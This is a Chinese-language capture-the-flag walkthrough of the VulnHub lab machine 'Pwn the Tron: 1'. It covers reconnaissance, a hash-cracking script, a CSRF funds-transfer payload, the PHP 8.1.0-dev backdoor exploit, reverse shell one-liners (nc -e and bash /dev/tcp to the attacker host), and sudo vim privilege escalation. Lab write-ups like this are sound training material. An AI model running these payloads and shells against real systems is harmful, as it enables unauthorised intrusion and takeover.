一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:Pwn the Tron(10.0.2.40)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/pwn-the-tron-1,721/
二、信息收集
使用nmap主机发现,靶机ip为10.0.2.40
使用nmap进行端口扫描,发现靶机开放端口:22、80
22端口:根据nmap扫描结果ssh为OpenSSH 7.6p1
,可以使用searchsploit
查找该版本的openssh的历史漏洞,存在用户名枚举漏洞
searchsploit OpenSSH 7.6p1
使用cve-2018-15473 exp,尝试枚举用户名,发现枚举失败,可能已修复该漏洞
python cve-2018-15473.py --port 22 --userList user.txt 10.0.2.40
80端口:打开网站发现是一个图片,讲一个擎天柱和霸天虎的故事,里面可能会有提示信息
直接上dirb工具进行目录爆破,发现/Travel/
目录
里面存在提示信息
擎天柱能够找到它们似乎位于同一位置的 2 个密钥的加密坐标。
你(杰克)被大黄蜂和阿西派去获取密钥,在声波能够解密它们之前完成!
你能找到@decepticon基地来获得iacon_codes吗?
(霸天虎可能会出于安全考虑删除iacon代码,想办法)坐标的加密消息:
DAAB260727E470E56E77EC22E8F3D413
解密消息的格式:
/iacon_code/(一个国家的首都)/{Latitude_dd.dd-Longitude_dd.dd}.txt
d = 0-9 之间的任意数字
可以在该目录源码找到隐藏信息
The Encrypted Message: daab260727e470e56e77ec22e8f3d413
@decepticon-base
需要找到霸天虎的基地,使用sherlock工具来寻找。
Sherlock是一个开源工具,可以在 300 个网站的社交媒体上查找用户名。
sherlock decepticon-base
找到7个站点,我们可以先看github上的https://www.github.com/decepticon-base
由于github网站无法访问我这里使用的是github镜像网站https://hub.yzuu.cf/decepticon-base
,发现iacon_code被删除了
通过Wayback Machine查询到github的过去文档(访问不了,我这里是找网上的wp,直接拿他们找到的iacon_code)
CYB3R-6969
C0D3-20
C0D3-007
CYB3R-9000
OMEGA-001
OMEGA-002
OMEGA-003
R3LIC-1337
SP4RK-2727
SAB3RSWORD-7777
根据提示编写python脚本,解密daab260727e470e56e77ec22e8f3d413
破解得到:/R3LIC-1337/Tokyo/Latitude_95.37-Longitude_95.37.txt
import hashlib
countries_capitals=['存放国家首都列表,注意首字母要大写']
iacon_code = ['CYB3R-6969','C0D3-20','C0D3-007','CYB3R-9000','OMEGA-001','OMEGA-002','OMEGA-003','R3LIC-1337','SP4RK-2727','SAB3RSWORD-7777']for line in countries_capitals:for icode in iacon_code:for i1 in range(10,100):for i2 in range(10, 100):message_str='/'+icode+'/'+line+'/Latitude_'+str(i1)+'.'+str(i2)+'-Longitude_'+str(i1)+'.'+str(i2)+'.txt'if 'daab260727e470e56e77ec22e8f3d413'==hashlib.md5(message_str.encode()).hexdigest():print(message_str)exit()
浏览器访问得到的地址
恭喜你通过了第一阶段!
你的勇气让我们获得了 4 把钥匙中的 2 把!
这是您的第一个标志:Flag1{873b375210b4297e9bdea1ed183c2da5}
不过坏消息:/威震天有 2 把钥匙可供他使用。Prime 和 Bumblebee 从 Starscream 那里得到了关于他藏在 Knockout 商店最昂贵的东西中的秘密物品的信息,Starscream是威震天的叛徒和前指挥官。该项目具有管理员凭据。
商店链接:/W4RSHIP_Sh0P.php
祝你好运!
访问Knockout商店
查看源码可以找到三个管理员账号:lord_starscream、admin_boss、soundwave
在商店页面上有提示,管理员会点击链接,可以尝试csrf攻击利用
我们的管理员将单击任何以 http 或 https 开头的链接,以防您想分享一些甜蜜消息的链接!
三、漏洞利用
点击商店的购买按键会跳转到登录界面,我们可以注册一个账号密码:tom/123456
登录,可以看到我们的初始账号余额为0
发现一个转账功能,页面显示只有管理员账号才能转账,当我们点击转账按钮时发现该功能传递参数是使用GET方式传递:http://10.0.2.40/W4RSHIP_Sh0P_transfer.php?to=admin&amount=99999&from=tom
我们可以构造payload:http://10.0.2.40/W4RSHIP_Sh0P_transfer.php?to=tom&amount=99999&from=lord_starscream
在商店首页留言处发送payload,回到tom用户页面,我们可以看到我们的账户余额变成99999
我们回到商店首页购买加密信息
发现点击购买没反应,发现是谷歌js访问不了,我们无法在页面上提交购买请求
可以通过pay()函数的源码我们编写python脚本,来获取购买数据,运行获得账号密码和一个新的url
import requestsurl = "http://10.0.2.40/W4RSHIP_Sh0P_buy.php"
data= {"itemid": 2,"price": 9999.00}
cookies = {"PHPSESSID":"08gjhmtuser897vu6607d8ktmo"}
r = requests.post(url=url,data=data,cookies=cookies)
print(r.text)
Purchase Successful!Megatron Login Panel URL: /M3G4TR0N_SUPR3M3/login.php Username = L0RD_M3G4Tr0N Password = freakishlylongpasswordforl0gin
使用账号密码登录新的网站,得到第二个flag:Flag2{8278ad4f45efef155f2569c1be074d2d}
进入网页开发者工具,点击刷新,查看网络,响应头有X-Powered-By信息,X-Powered-By显示的是web应用框架信息
X-Powered-By:PHP/8.1.0-dev
使用searchsploit查找该版本的php的历史漏洞,发现远程代码执行漏洞
searchsploit PHP 8.1.0-dev
下载exp,并执行
反弹shell
反弹shell失败命令
nc -e /bin/bash 10.0.2.15 8888
bash -i >& /dev/tcp/10.0.2.15/8888 0>&1
bash -c 'bash -i >& /dev/tcp/10.0.2.15/8888 0>&1'使用双引号,反弹shell成功
bash -c "bash -i >& /dev/tcp/10.0.2.15/8888 0>&1"
使用python获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
四、提权
查找/home
目录,发现存在两个用户,翻一翻,找到flag3,但没有权限访问
发现/.ssh/pem
文件夹,里面有私钥文件,并且 .ssh/authorized_keys
文件里面的公钥和/.ssh/pem
文件夹里面的公钥文件一样,因此可以使用ssh私钥登录
将ssh私钥复制保存到本地,并赋予600权限
使用私钥登录ssh
查看是否有可利用的特权命令,发现存在/usr/bin/vim
命令,可以免密执行,但是只作用在/var/Decepticon/*
下面的文件
使用vim提权
sudo vim /var/Decepticon/shell
:set shell=/bin/sh
:shell
获取flag
flag3
flag4
参考链接:Vulnhub-PWN THE TRON: 1渗透-CSDN博客